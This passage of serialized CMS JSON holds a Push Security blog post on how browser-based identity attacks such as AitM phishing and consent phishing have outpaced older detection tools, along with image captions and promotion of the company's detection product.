"nodeType":925},{"target":122078},{"sys":122079},{"id":115373,"type":922,"linkType":923},[],{"data":122082,"content":122083,"nodeType":866},{},[122084,122087,122094],{"data":122085,"marks":122086,"value":115381,"nodeType":865},{},[],{"data":122088,"content":122089,"nodeType":882},{"uri":115384},[122090],{"data":122091,"marks":122092,"value":102061,"nodeType":865},{},[122093],{"type":997},{"data":122095,"marks":122096,"value":63757,"nodeType":865},{},[],{"data":122098,"content":122101,"nodeType":925},{"target":122099},{"sys":122100},{"id":115397,"type":922,"linkType":923},[],{"data":122103,"content":122104,"nodeType":866},{},[122105],{"data":122106,"marks":122107,"value":115405,"nodeType":865},{},[],{"data":122109,"content":122110,"nodeType":866},{},[122111],{"data":122112,"marks":122113,"value":94703,"nodeType":865},{},[],{"data":122115,"content":122116,"nodeType":866},{},[122117],{"data":122118,"marks":122119,"value":115418,"nodeType":865},{},[],{"data":122121,"content":122124,"nodeType":925},{"target":122122},{"sys":122123},{"id":114258,"type":922,"linkType":923},[],{"data":122126,"content":122127,"nodeType":953},{},[],{"data":122129,"content":122130,"nodeType":1458},{},[122131],{"data":122132,"marks":122133,"value":115434,"nodeType":865},{},[122134],{"type":961},{"data":122136,"content":122137,"nodeType":866},{},[122138,122141,122148],{"data":122139,"marks":122140,"value":94433,"nodeType":865},{},[],{"data":122142,"content":122143,"nodeType":882},{"uri":94436},[122144],{"data":122145,"marks":122146,"value":315,"nodeType":865},{},[122147],{"type":997},{"data":122149,"marks":122150,"value":22525,"nodeType":865},{},[],{"data":122152,"content":122153,"nodeType":866},{},[122154],{"data":122155,"marks":122156,"value":115457,"nodeType":865},{},[],{"data":122158,"content":122159,"nodeType":866},{},[122160,122163,122170,122173,122180],{"data":122161,"marks":122162,"value":115464,"nodeType":865},{},[],{"data":122164,"content":122165,"nodeType":882},{"uri":94597},[122166],{"data":122167,"marks":122168,"value":94603,"nodeType":865},{},[122169],{"type":997},{"data":122171,"marks":122172,"value":115475,"nodeType":865},{},[],{"data":122174,"content":122175,"nodeType":882},{"uri":115478},[122176],{"data":122177,"marks":122178,"value":115484,"nodeType":865},{},[122179],{"type":997},{"data":122181,"marks":122182,"value":1048,"nodeType":865},{},[],{"data":122184,"content":122185,"nodeType":866},{},[122186],{"data":122187,"marks":122188,"value":115494,"nodeType":865},{},[],{"data":122190,"content":122191,"nodeType":866},{},[122192],{"data":122193,"marks":122194,"value":115501,"nodeType":865},{},[],{"data":122196,"content":122199,"nodeType":925},{"target":122197},{"sys":122198},{"id":115506,"type":922,"linkType":923},[],{"data":122201,"content":122202,"nodeType":866},{},[122203],{"data":122204,"marks":122205,"value":115514,"nodeType":865},{},[],{"data":122207,"content":122208,"nodeType":866},{},[122209],{"data":122210,"marks":122211,"value":115521,"nodeType":865},{},[],{"data":122213,"content":122214,"nodeType":866},{},[122215],{"data":122216,"marks":122217,"value":115528,"nodeType":865},{},[],{"data":122219,"content":122220,"nodeType":953},{},[],{"data":122222,"content":122223,"nodeType":1458},{},[122224],{"data":122225,"marks":122226,"value":115539,"nodeType":865},{},[122227],{"type":961},{"data":122229,"content":122230,"nodeType":866},{},[122231,122234,122240],{"data":122232,"marks":122233,"value":115546,"nodeType":865},{},[],{"data":122235,"content":122236,"nodeType":882},{"uri":93156},[122237],{"data":122238,"marks":122239,"value":70557,"nodeType":865},{},[],{"data":122241,"marks":122242,"value":10349,"nodeType":865},{},[],{"data":122244,"content":122247,"nodeType":925},{"target":122245},{"sys":122246},{"id":115560,"type":922,"linkType":923},[],{"data":122249,"content":122250,"nodeType":866},{},[122251],{"data":122252,"marks":122253,"value":115568,"nodeType":865},{},[],{"data":122255,"content":122256,"nodeType":866},{},[122257],{"data":122258,"marks":122259,"value":115575,"nodeType":865},{},[],{"data":122261,"content":122264,"nodeType":925},{"target":122262},{"sys":122263},{"id":115580,"type":922,"linkType":923},[],{"data":122266,"content":122267,"nodeType":866},{},[122268],{"data":122269,"marks":122270,"value":115588,"nodeType":865},{},[],{"data":122272,"content":122273,"nodeType":866},{},[122274],{"data":122275,"marks":122276,"value":115595,"nodeType":865},{},[],{"data":122278,"content":122279,"nodeType":953},{},[],{"data":122281,"content":122282,"nodeType":1458},{},[122283],{"data":122284,"marks":122285,"value":115606,"nodeType":865},{},[122286],{"type":961},{"data":122288,"content":122289,"nodeType":866},{},[122290],{"data":122291,"marks":122292,"value":115613,"nodeType":865},{},[],{"data":122294,"content":122295,"nodeType":866},{},[122296,122299,122306],{"data":122297,"marks":122298,"value":115620,"nodeType":865},{},[],{"data":122300,"content":122301,"nodeType":882},{"uri":115623},[122302],{"data":122303,"marks":122304,"value":115629,"nodeType":865},{},[122305],{"type":997},{"data":122307,"marks":122308,"value":115633,"nodeType":865},{},[],{"data":122310,"content":122311,"nodeType":866},{},[122312,122315,122322,122325,122332,122335,122342],{"data":122313,"marks":122314,"value":115640,"nodeType":865},{},[],{"data":122316,"content":122317,"nodeType":882},{"uri":115643},[122318],{"data":122319,"marks":122320,"value":115649,"nodeType":865},{},[122321],{"type":997},{"data":122323,"marks":122324,"value":115653,"nodeType":865},{},[],{"data":122326,"content":122327,"nodeType":882},{"uri":115656},[122328],{"data":122329,"marks":122330,"value":115662,"nodeType":865},{},[122331],{"type":997},{"data":122333,"marks":122334,"value":3892,"nodeType":865},{},[],{"data":122336,"content":122337,"nodeType":882},{"uri":115668},[122338],{"data":122339,"marks":122340,"value":115674,"nodeType":865},{},[122341],{"type":997},{"data":122343,"marks":122344,"value":1048,"nodeType":865},{},[],{"data":122346,"content":122347,"nodeType":866},{},[122348],{"data":122349,"marks":122350,"value":115684,"nodeType":865},{},[],{"data":122352,"content":122353,"nodeType":866},{},[122354],{"data":122355,"marks":122356,"value":115691,"nodeType":865},{},[],{"data":122358,"content":122359,"nodeType":866},{},[122360],{"data":122361,"marks":122362,"value":115698,"nodeType":865},{},[],{"data":122364,"content":122365,"nodeType":953},{},[],{"data":122367,"content":122368,"nodeType":1458},{},[122369],{"data":122370,"marks":122371,"value":115709,"nodeType":865},{},[122372],{"type":961},{"data":122374,"content":122375,"nodeType":866},{},[122376],{"data":122377,"marks":122378,"value":115716,"nodeType":865},{},[],{"data":122380,"content":122381,"nodeType":866},{},[122382],{"data":122383,"marks":122384,"value":115723,"nodeType":865},{},[],{"data":122386,"content":122387,"nodeType":866},{},[122388],{"data":122389,"marks":122390,"value":115730,"nodeType":865},{},[],{"data":122392,"content":122393,"nodeType":953},{},[],{"data":122395,"content":122396,"nodeType":1458},{},[122397],{"data":122398,"marks":122399,"value":115741,"nodeType":865},{},[122400],{"type":961},{"data":122402,"content":122403,"nodeType":866},{},[122404],{"data":122405,"marks":122406,"value":115748,"nodeType":865},{},[],{"data":122408,"content":122409,"nodeType":866},{},[122410,122413,122420,122423,122430],{"data":122411,"marks":122412,"value":115755,"nodeType":865},{},[],{"data":122414,"content":122415,"nodeType":882},{"uri":115272},[122416],{"data":122417,"marks":122418,"value":37719,"nodeType":865},{},[122419],{"type":997},{"data":122421,"marks":122422,"value":115766,"nodeType":865},{},[],{"data":122424,"content":122425,"nodeType":882},{"uri":115769},[122426],{"data":122427,"marks":122428,"value":115775,"nodeType":865},{},[122429],{"type":997},{"data":122431,"marks":122432,"value":115779,"nodeType":865},{},[],{"data":122434,"content":122435,"nodeType":866},{},[122436,122439,122446],{"data":122437,"marks":122438,"value":115786,"nodeType":865},{},[],{"data":122440,"content":122441,"nodeType":882},{"uri":115789},[122442],{"data":122443,"marks":122444,"value":115795,"nodeType":865},{},[122445],{"type":997},{"data":122447,"marks":122448,"value":115799,"nodeType":865},{},[],{"data":122450,"content":122451,"nodeType":866},{},[122452],{"data":122453,"marks":122454,"value":115806,"nodeType":865},{},[],{"data":122456,"content":122457,"nodeType":953},{},[],{"data":122459,"content":122460,"nodeType":963},{},[122461],{"data":122462,"marks":122463,"value":100217,"nodeType":865},{},[122464],{"type":961},{"data":122466,"content":122467,"nodeType":866},{},[122468],{"data":122469,"marks":122470,"value":115823,"nodeType":865},{},[],{"data":122472,"content":122473,"nodeType":866},{},[122474],{"data":122475,"marks":122476,"value":115830,"nodeType":865},{},[],{"data":122478,"content":122479,"nodeType":866},{},[122480,122483,122490],{"data":122481,"marks":122482,"value":115837,"nodeType":865},{},[],{"data":122484,"content":122485,"nodeType":882},{"uri":115840},[122486],{"data":122487,"marks":122488,"value":22730,"nodeType":865},{},[122489],{"type":997},{"data":122491,"marks":122492,"value":1048,"nodeType":865},{},[],{"entries":122494},{"hyperlink":122495,"inline":122496,"block":122497},[],[],[122498,122505,122513,122517,122523,122525,122529,122534],{"sys":122499,"__typename":1747,"title":122500,"caption":122500,"layoutMode":59,"file":122501},{"id":115286},"Attacks have shifted from targeting local networks to internet services, accessed through employee web browsers.",{"url":122502,"width":122503,"height":122504},"https://images.ctfassets.net/y1cdw1ablpvd/2TRbV3HLZRt0pjgxPAPUOY/5dbeec4b4ac16a3b450e1eff2add6266/1.png",1174,482,{"sys":122506,"__typename":1747,"title":122507,"caption":122508,"layoutMode":59,"file":122509},{"id":115338},"Browser-based attacks like AITM phishing, ClickFix, and consent phishing have seen an unprecedented rise in recent years.","Browser-based attacks like AITM phishing, ClickFix, and consent phishing are the fastest-growing threats of 2025. ",{"url":122510,"width":122511,"height":122512},"https://images.ctfassets.net/y1cdw1ablpvd/1eCBgB8nNDu5955f1BwFO6/b80d5cb43c7acd75e1a670d4ae22b2ec/Browser-based_attacks_graphic__1_.png",2012,1272,{"sys":122514,"__typename":1747,"title":122515,"caption":122515,"layoutMode":59,"file":122516},{"id":115373},"Phishing is now multi- and cross-channel, targeting a vast range of cloud and SaaS apps using flexible AitM toolkits — but all roads inevitably lead to the browser.",{"url":120297,"width":1759,"height":120298},{"sys":122518,"__typename":1747,"title":122519,"caption":122519,"layoutMode":59,"file":122520},{"id":115397},"AitM kits proxy information to the real site in order to complete the login process, passing MFA checks to steal the user’s session. ",{"url":122521,"width":109751,"height":122522},"https://images.ctfassets.net/y1cdw1ablpvd/Yo8TuzfyNcBWOIl34X1dS/2381e4e671039ddf61d03ef44fa45138/3.png",458,{"sys":122524,"__typename":5631,"type":5632,"ctaText":120308,"buttonLabel":120309,"buttonColour":5635,"buttonUrl":120310},{"id":114258},{"sys":122526,"__typename":1747,"title":118223,"caption":118223,"layoutMode":59,"file":122527},{"id":115506},{"url":122528,"width":1759,"height":118226},"https://images.ctfassets.net/y1cdw1ablpvd/3VSQ6bEHXlk0yJRal4R4oD/d3d6d281acfe22361a7d36719c4b0fa9/4.png",{"sys":122530,"__typename":1747,"title":122531,"caption":122531,"layoutMode":59,"file":122532},{"id":115560},"Consent phishing examples, where an attacker tricks the victim into authorizing an attacker-controlled app with risky permissions.",{"url":122533,"width":1759,"height":70203},"https://images.ctfassets.net/y1cdw1ablpvd/1Yx10JvyaLHI2DzhAjDgE0/886e807035dc8d005b9a6c84919a5a3f/5.png",{"sys":122535,"__typename":1747,"title":122536,"caption":122536,"layoutMode":59,"file":122537},{"id":115580},"The ongoing Salesforce attacks involve malicious OAuth apps being granted access to the victim’s Salesforce tenant. ",{"url":122538,"width":106703,"height":106704},"https://images.ctfassets.net/y1cdw1ablpvd/5JA9n2l57OlYE3jIcsYKv2/d7f1dcf15542f2df4045df1c3c61ba2e/6.png",{"items":122540},[],{},"6 browser-based attacks security teams need to know about",{"url":122544},"https://images.ctfassets.net/y1cdw1ablpvd/42Id6vr4wOWFp4RH6MqFoJ/54bfaf4a392fcbeda9bf795b09a9bef3/Bleeping_Thumbnail__Article_Header_.png",{"items":122546},[122547,123546,124149],{"__typename":1788,"sys":122548,"content":122549,"title":103690,"synopsis":123534,"hashTags":59,"publishedDate":123535,"slug":103691,"tagsCollection":123536,"authorsCollection":123542},{"id":98991},{"json":122550},{"data":122551,"content":122552,"nodeType":1739},{},[122553,122560,122572,122584,122596,122608,122614,122633,122640,122655,122662,122668,122671,122679,122686,122693,122700,122706,122709,122717,122724,122744,122751,122758,122765,122772,122778,122785,122792,122799,122828,122835,122853,122860,122867,122887,122907,122927,122933,122940,122956,122963,122970,122977,122996,123004,123011,123018,123021,123029,123036,123043,123050,123093,123099,123106,123121,123210,123216,123223,123230,123293,123300,123307,123314,123320,123327,123334,123341,123347,123354,123361,123368,123374,123394,123401,123408,123451,123457,123460,123468,123492,123495,123502,123509,123516],{"data":122554,"content":122555,"nodeType":866},{},[122556],{"data":122557,"marks":122558,"value":122559,"nodeType":865},{},[],"Oh, look! A time capsule from 2010. Wonder what’s inside … ",{"data":122561,"content":122562,"nodeType":866},{},[122563,122568],{"data":122564,"marks":122565,"value":122567,"nodeType":865},{},[122566],{"type":961},"Listening to:",{"data":122569,"marks":122570,"value":122571,"nodeType":865},{},[]," “Like a G6” by Far East Movement (on a Nokia C7 — hey, it even had a touchscreen).",{"data":122573,"content":122574,"nodeType":866},{},[122575,122580],{"data":122576,"marks":122577,"value":122579,"nodeType":865},{},[122578],{"type":961},"Major news event:",{"data":122581,"marks":122582,"value":122583,"nodeType":865},{},[]," Eyjafjallajökull volcano erupts in Iceland, disrupting air travel.",{"data":122585,"content":122586,"nodeType":866},{},[122587,122592],{"data":122588,"marks":122589,"value":122591,"nodeType":865},{},[122590],{"type":961},"Worried about:",{"data":122593,"marks":122594,"value":122595,"nodeType":865},{},[]," Exploitable Flash browser plugins and static HTML phishing sites.",{"data":122597,"content":122598,"nodeType":866},{},[122599,122604],{"data":122600,"marks":122601,"value":122603,"nodeType":865},{},[122602],{"type":961},"How to be a hero?",{"data":122605,"marks":122606,"value":122607,"nodeType":865},{},[]," Roll out the latest AV, implement a web proxy, and add a “report phishing” button to your email solution.",{"data":122609,"content":122613,"nodeType":925},{"target":122610},{"sys":122611},{"id":122612,"type":922,"linkType":923},"54xYbMs0ii96xb2jgQVX9m",[],{"data":122615,"content":122616,"nodeType":866},{},[122617,122621,122629],{"data":122618,"marks":122619,"value":122620,"nodeType":865},{},[],"We’re halfway through 2025, and the time capsule for this year may need to be an XL when it comes to ",{"data":122622,"content":122623,"nodeType":882},{"uri":114496},[122624],{"data":122625,"marks":122626,"value":122628,"nodeType":865},{},[122627],{"type":997},"how much has happened",{"data":122630,"marks":122631,"value":122632,"nodeType":865},{},[]," in the world of browser-based attacks. (Yet fittingly, Drake’s “Nokia” is a pop hit.)",{"data":122634,"content":122635,"nodeType":866},{},[122636],{"data":122637,"marks":122638,"value":122639,"nodeType":865},{},[],"While at least we don’t have to worry about Flash anymore, the browser is now the new battleground, and workforce identities are the most common target. Security teams are struggling with approaches and tools that attackers have outpaced.",{"data":122641,"content":122642,"nodeType":866},{},[122643,122647,122651],{"data":122644,"marks":122645,"value":122646,"nodeType":865},{},[],"In this article, we’ll cover how browser-based attacks have evolved, and how Push is taking a new approach with the release of our ",{"data":122648,"marks":122649,"value":90711,"nodeType":865},{},[122650],{"type":961},{"data":122652,"marks":122653,"value":122654,"nodeType":865},{},[]," capabilities, now generally available to all customers.",{"data":122656,"content":122657,"nodeType":866},{},[122658],{"data":122659,"marks":122660,"value":122661,"nodeType":865},{},[],"Push Detections use real-time telemetry to help you understand context, user behavior, and attacker techniques, and then respond — a modern tool for modern browser-based attacks.",{"data":122663,"content":122667,"nodeType":925},{"target":122664},{"sys":122665},{"id":122666,"type":922,"linkType":923},"2ULDSj85bXtT2OgpXKBHtB",[],{"data":122669,"content":122670,"nodeType":953},{},[],{"data":122672,"content":122673,"nodeType":963},{},[122674],{"data":122675,"marks":122676,"value":122678,"nodeType":865},{},[122677],{"type":961},"The old world vs. the new world",{"data":122680,"content":122681,"nodeType":866},{},[122682],{"data":122683,"marks":122684,"value":122685,"nodeType":865},{},[],"In the early 2010s, the typical attack path involved sending a user an email with a link to a static HTML webpage (most commonly a generic Exchange Web Access clone) that tricked them into giving you Active Directory creds. These could be used to log in to an exposed remote desktop service or the victim’s mailbox, giving the attacker a foothold to install malware. Anyone who’s done “red teaming 101” will recognize this scenario. ",{"data":122687,"content":122688,"nodeType":866},{},[122689],{"data":122690,"marks":122691,"value":122692,"nodeType":865},{},[],"A compromised identity was once just part of a system compromise. That meant the scope of detection and response was focused on the organization’s Active Directory domain, correlated with endpoint and network logs. ",{"data":122694,"content":122695,"nodeType":866},{},[122696],{"data":122697,"marks":122698,"value":122699,"nodeType":865},{},[],"But now, identity attacks happen beyond traditional on-premises networks, impacting cloud identities that are created, used, and attacked in the browser. What was once the familiar backbone of business IT — internal apps and thick clients — has been replaced with a sprawling cloud and SaaS ecosystem that can be targeted directly via identity, without touching the endpoint. ",{"data":122701,"content":122705,"nodeType":925},{"target":122702},{"sys":122703},{"id":122704,"type":922,"linkType":923},"2F2p4eTMCHo3LfNQJZeGWB",[],{"data":122707,"content":122708,"nodeType":953},{},[],{"data":122710,"content":122711,"nodeType":963},{},[122712],{"data":122713,"marks":122714,"value":122716,"nodeType":865},{},[122715],{"type":961},"Why detection and response hasn’t kept up with threat evolution",{"data":122718,"content":122719,"nodeType":866},{},[122720],{"data":122721,"marks":122722,"value":122723,"nodeType":865},{},[],"This shift in attacker TTPs is forcing a change in how we handle detection and response. ",{"data":122725,"content":122726,"nodeType":866},{},[122727,122731,122740],{"data":122728,"marks":122729,"value":122730,"nodeType":865},{},[],"But a lot of organizations are still applying the same old playbooks to this new world where identity attacks are the ",{"data":122732,"content":122734,"nodeType":882},{"uri":122733},"https://pushsecurity.com/resources/2024-identity-attacks",[122735],{"data":122736,"marks":122737,"value":122739,"nodeType":865},{},[122738],{"type":997},"leading cause of breaches",{"data":122741,"marks":122742,"value":122743,"nodeType":865},{},[],", with uneven outcomes. ",{"data":122745,"content":122746,"nodeType":866},{},[122747],{"data":122748,"marks":122749,"value":122750,"nodeType":865},{},[],"This isn’t because of a lack of effort or skill on the part of security teams. It’s a reflection of the tools that have been available. ",{"data":122752,"content":122753,"nodeType":866},{},[122754],{"data":122755,"marks":122756,"value":122757,"nodeType":865},{},[],"Let’s look at some of the ways detection and response hasn’t kept up with the evolution of browser-borne threats in this new landscape.",{"data":122759,"content":122760,"nodeType":1458},{},[122761],{"data":122762,"marks":122763,"value":122764,"nodeType":865},{},[],"Incomplete identity visibility ",{"data":122766,"content":122767,"nodeType":866},{},[122768],{"data":122769,"marks":122770,"value":122771,"nodeType":865},{},[],"Today’s cloud identity providers see a fraction of the overall logins your users make to online apps, compared to the comprehensive visibility of Active Directory in the old world. You don’t know where users are logging in, how they’re logging in, or whether these logins are securely using phishing-resistant methods.",{"data":122773,"content":122777,"nodeType":925},{"target":122774},{"sys":122775},{"id":122776,"type":922,"linkType":923},"1SUYueQct7dtWwLh3AaAtA",[],{"data":122779,"content":122780,"nodeType":866},{},[122781],{"data":122782,"marks":122783,"value":122784,"nodeType":865},{},[],"This means that identity attacks are routinely bypassing preventative, account hygiene-based controls, putting the strain on detection and response. ",{"data":122786,"content":122787,"nodeType":1458},{},[122788],{"data":122789,"marks":122790,"value":122791,"nodeType":865},{},[],"Limited detection coverage ",{"data":122793,"content":122794,"nodeType":866},{},[122795],{"data":122796,"marks":122797,"value":122798,"nodeType":865},{},[],"Email and network security tools got pretty good at intercepting old-school phishing attacks like the ones from our proverbial time capsule: static HTML pages delivered over email that could be intercepted and analyzed when entering the mailbox or being loaded by the user. ",{"data":122800,"content":122801,"nodeType":866},{},[122802,122806,122815,122819,122823],{"data":122803,"marks":122804,"value":122805,"nodeType":865},{},[],"But with modern phishing attacks dynamically obfuscating the code that loads the web page, implementing custom bot protection, and using runtime anti-analysis features, they’re ",{"data":122807,"content":122808,"nodeType":882},{"uri":10742},[122809],{"data":122810,"marks":122811,"value":122814,"nodeType":865},{},[122812,122813],{"type":997},{"type":961},"increasingly difficult to detect",{"data":122816,"marks":122817,"value":2157,"nodeType":865},{},[122818],{"type":961},{"data":122820,"marks":122821,"value":122822,"nodeType":865},{},[],"using conventional tools",{"data":122824,"marks":122825,"value":122827,"nodeType":865},{},[122826],{"type":961},".   ",{"data":122829,"content":122830,"nodeType":866},{},[122831],{"data":122832,"marks":122833,"value":122834,"nodeType":865},{},[],"Of course, email-based detections aren’t much use if attackers are using legitimate services to camouflage their links, or bypassing email altogether by switching to alternative delivery channels like messaging apps (such as Slack and Teams), as well as public services like LinkedIn and Reddit. ",{"data":122836,"content":122837,"nodeType":866},{},[122838,122842,122849],{"data":122839,"marks":122840,"value":122841,"nodeType":865},{},[],"More recently, groups like ",{"data":122843,"content":122844,"nodeType":882},{"uri":114496},[122845],{"data":122846,"marks":122847,"value":8764,"nodeType":865},{},[122848],{"type":997},{"data":122850,"marks":122851,"value":122852,"nodeType":865},{},[]," have even been seen using malvertising techniques, delivering phishing links masquerading as paid Google ads.",{"data":122854,"content":122855,"nodeType":1458},{},[122856],{"data":122857,"marks":122858,"value":122859,"nodeType":865},{},[],"Inadequate security logs",{"data":122861,"content":122862,"nodeType":866},{},[122863],{"data":122864,"marks":122865,"value":122866,"nodeType":865},{},[],"If you fail to spot the attack pre-account takeover, you’re reliant on being able to detect and investigate suspicious or malicious activity resulting from the compromise. ",{"data":122868,"content":122869,"nodeType":866},{},[122870,122874,122883],{"data":122871,"marks":122872,"value":122873,"nodeType":865},{},[],"This was more straightforward (if not easy) when you had the luxury of a ",{"data":122875,"content":122877,"nodeType":882},{"uri":122876},"https://pushsecurity.com/blog/shifting-detection-left-for-more-effective-itdr/",[122878],{"data":122879,"marks":122880,"value":122882,"nodeType":865},{},[122881],{"type":997},"typical on-prem network to fall back",{"data":122884,"marks":122885,"value":122886,"nodeType":865},{},[]," on. But with cloud exploitation taking place in a matter of minutes, you don’t get much warning — and your endpoint and network-based alarms can’t help you. ",{"data":122888,"content":122889,"nodeType":866},{},[122890,122894,122903],{"data":122891,"marks":122892,"value":122893,"nodeType":865},{},[],"The situation is further complicated by the fact that you simply don’t have the logs you need because of the huge variability in how cloud and SaaS services provide logs (with many ",{"data":122895,"content":122897,"nodeType":882},{"uri":122896},"https://pushsecurity.com/blog/minimum-viable-identity-security/#id-enable-security-teams-to-detect-and-respond-to-identity-attacks",[122898],{"data":122899,"marks":122900,"value":122902,"nodeType":865},{},[122901],{"type":997},"failing to provide security logs",{"data":122904,"marks":122905,"value":122906,"nodeType":865},{},[]," with relevant data points at all). So chances are you’re flying blind when it comes to large chunks of your business app suite. ",{"data":122908,"content":122909,"nodeType":866},{},[122910,122914,122923],{"data":122911,"marks":122912,"value":122913,"nodeType":865},{},[],"Ultimately, you’re stuck with what you can observe — typically network traffic. But ",{"data":122915,"content":122917,"nodeType":882},{"uri":122916},"https://pushsecurity.com/blog/the-web-proxy-is-dead-long-live-the-browser-extension/",[122918],{"data":122919,"marks":122920,"value":122922,"nodeType":865},{},[122921],{"type":997},"even with a TLS-terminating proxy",{"data":122924,"marks":122925,"value":122926,"nodeType":865},{},[],", extracting fine-grained identity data points isn’t really achievable. You’re looking from the outside-in at malicious activity that’s happening in the user’s browser and trying to infer what happened.  ",{"data":122928,"content":122932,"nodeType":925},{"target":122929},{"sys":122930},{"id":122931,"type":922,"linkType":923},"7FMdHtbE63GMCavObETf3O",[],{"data":122934,"content":122935,"nodeType":1458},{},[122936],{"data":122937,"marks":122938,"value":122939,"nodeType":865},{},[],"Spotty control enforcement",{"data":122941,"content":122942,"nodeType":866},{},[122943,122947,122952],{"data":122944,"marks":122945,"value":122946,"nodeType":865},{},[],"And in the case that you do identify that a user clicked a malicious link and ",{"data":122948,"marks":122949,"value":122951,"nodeType":865},{},[122950],{"type":944},"maybe ",{"data":122953,"marks":122954,"value":122955,"nodeType":865},{},[],"entered their credentials into the page — now what? ",{"data":122957,"content":122958,"nodeType":866},{},[122959],{"data":122960,"marks":122961,"value":122962,"nodeType":865},{},[],"You can reset the account in the affected app, ideally terminating active sessions — which may or may not be possible, depending on the app. This might take a while if you don’t centrally manage the app, and involve some painful emergency phone calls to employees. ",{"data":122964,"content":122965,"nodeType":866},{},[122966],{"data":122967,"marks":122968,"value":122969,"nodeType":865},{},[],"What about apps where the same password is reused? ",{"data":122971,"content":122972,"nodeType":866},{},[122973],{"data":122974,"marks":122975,"value":122976,"nodeType":865},{},[],"Or if it’s an IdP account used for SSO, what about the other apps that might be accessible now? ",{"data":122978,"content":122979,"nodeType":866},{},[122980,122984,122992],{"data":122981,"marks":122982,"value":122983,"nodeType":865},{},[],"If the attacker has created stealthy backdoors that persist through credential changes (like ",{"data":122985,"content":122986,"nodeType":882},{"uri":74099},[122987],{"data":122988,"marks":122989,"value":122991,"nodeType":865},{},[122990],{"type":997},"creating an API key or a malicious OAuth integration",{"data":122993,"marks":122994,"value":122995,"nodeType":865},{},[],") they could still be lurking in your environment.",{"data":122997,"content":122998,"nodeType":866},{},[122999],{"data":123000,"marks":123001,"value":123003,"nodeType":865},{},[123002],{"type":961},"Suddenly, you’re not dealing with one possible control point, you’re dealing with several. ",{"data":123005,"content":123006,"nodeType":866},{},[123007],{"data":123008,"marks":123009,"value":123010,"nodeType":865},{},[],"And if you can’t trace the attack back to a source — because your email solution missed it, or it didn’t come via email, how can you triage the impact to other users? ",{"data":123012,"content":123013,"nodeType":866},{},[123014],{"data":123015,"marks":123016,"value":123017,"nodeType":865},{},[],"It’s no wonder that security teams are struggling to adapt. ",{"data":123019,"content":123020,"nodeType":953},{},[],{"data":123022,"content":123023,"nodeType":963},{},[123024],{"data":123025,"marks":123026,"value":123028,"nodeType":865},{},[123027],{"type":961},"How Push is solving modern identity investigations in the browser",{"data":123030,"content":123031,"nodeType":866},{},[123032],{"data":123033,"marks":123034,"value":123035,"nodeType":865},{},[],"The good news? We’ve seen this phenomenon play out before: In the early 2010s, in fact, when AV evolved into EDR. What was the big innovation then? Getting inside the data stream, in real time, and detecting and responding from a much higher-fidelity source of telemetry.",{"data":123037,"content":123038,"nodeType":866},{},[123039],{"data":123040,"marks":123041,"value":123042,"nodeType":865},{},[],"This time around, security teams need tools that take them inside the browser layer.",{"data":123044,"content":123045,"nodeType":866},{},[123046],{"data":123047,"marks":123048,"value":123049,"nodeType":865},{},[],"This approach gives you the right vantage point to defend against and investigate browser-based identity attacks, providing access to:",{"data":123051,"content":123052,"nodeType":1049},{},[123053,123063,123073,123083],{"data":123054,"content":123055,"nodeType":1003},{},[123056],{"data":123057,"content":123058,"nodeType":866},{},[123059],{"data":123060,"marks":123061,"value":123062,"nodeType":865},{},[],"Full decrypted HTTP traffic — not just DNS and TCP/IP metadata",{"data":123064,"content":123065,"nodeType":1003},{},[123066],{"data":123067,"content":123068,"nodeType":866},{},[123069],{"data":123070,"marks":123071,"value":123072,"nodeType":865},{},[],"Full user interaction tracing — every click, keystroke, or DOM change",{"data":123074,"content":123075,"nodeType":1003},{},[123076],{"data":123077,"content":123078,"nodeType":866},{},[123079],{"data":123080,"marks":123081,"value":123082,"nodeType":865},{},[],"Full inspection at every layer of execution, not just the initial HTML served",{"data":123084,"content":123085,"nodeType":1003},{},[123086],{"data":123087,"content":123088,"nodeType":866},{},[123089],{"data":123090,"marks":123091,"value":123092,"nodeType":865},{},[],"Full access to browser APIs, to correlate with browser history, local storage, cookies, etc.",{"data":123094,"content":123098,"nodeType":925},{"target":123095},{"sys":123096},{"id":123097,"type":922,"linkType":923},"5qt0s8e1TIEUxhU1GzFO63",[],{"data":123100,"content":123101,"nodeType":866},{},[123102],{"data":123103,"marks":123104,"value":123105,"nodeType":865},{},[],"With this data, teams have the information they need to respond to and investigate browser-based attacks. But to become valuable, this data needs a translation layer that turns it from raw logs into actionable information.",{"data":123107,"content":123108,"nodeType":866},{},[123109,123113,123117],{"data":123110,"marks":123111,"value":123112,"nodeType":865},{},[],"That’s where Push’s ",{"data":123114,"marks":123115,"value":90711,"nodeType":865},{},[123116],{"type":961},{"data":123118,"marks":123119,"value":123120,"nodeType":865},{},[]," capability comes in. With it, you can:",{"data":123122,"content":123123,"nodeType":1049},{},[123124,123160,123170,123180,123190,123200],{"data":123125,"content":123126,"nodeType":1003},{},[123127],{"data":123128,"content":123129,"nodeType":866},{},[123130,123134,123143,123147,123156],{"data":123131,"marks":123132,"value":123133,"nodeType":865},{},[],"Get alerted in your platform of choice (via the Push admin console, ",{"data":123135,"content":123137,"nodeType":882},{"uri":123136},"https://pushsecurity.com/help/audience/administrators/docs/connect-to-siem-or-soar/send-webhook-events-to-slack/",[123138],{"data":123139,"marks":123140,"value":123142,"nodeType":865},{},[123141],{"type":997},"Slack integration",{"data":123144,"marks":123145,"value":123146,"nodeType":865},{},[],", or your ",{"data":123148,"content":123150,"nodeType":882},{"uri":123149},"https://pushsecurity.com/help/audience/administrators/docs/connect-to-siem-or-soar/",[123151],{"data":123152,"marks":123153,"value":123155,"nodeType":865},{},[123154],{"type":997},"SIEM/SOAR",{"data":123157,"marks":123158,"value":123159,"nodeType":865},{},[]," of choice) whenever Push detects a browser-based attack, such as AiTM phishing or a cloned login page.",{"data":123161,"content":123162,"nodeType":1003},{},[123163],{"data":123164,"content":123165,"nodeType":866},{},[123166],{"data":123167,"marks":123168,"value":123169,"nodeType":865},{},[],"Review a curated timeline of the incident: Where a phishing link originated; whether a user entered their credentials on the page; what kind of phishkit was used; and whether the attack was blocked by Push.",{"data":123171,"content":123172,"nodeType":1003},{},[123173],{"data":123174,"content":123175,"nodeType":866},{},[123176],{"data":123177,"marks":123178,"value":123179,"nodeType":865},{},[],"See all the other impacted accounts and apps that shared a password with the phished account so you can remediate them.",{"data":123181,"content":123182,"nodeType":1003},{},[123183],{"data":123184,"content":123185,"nodeType":866},{},[123186],{"data":123187,"marks":123188,"value":123189,"nodeType":865},{},[],"See a screenshot captured by the Push browser extension of the phishing page, so you can see exactly what the user saw before the page 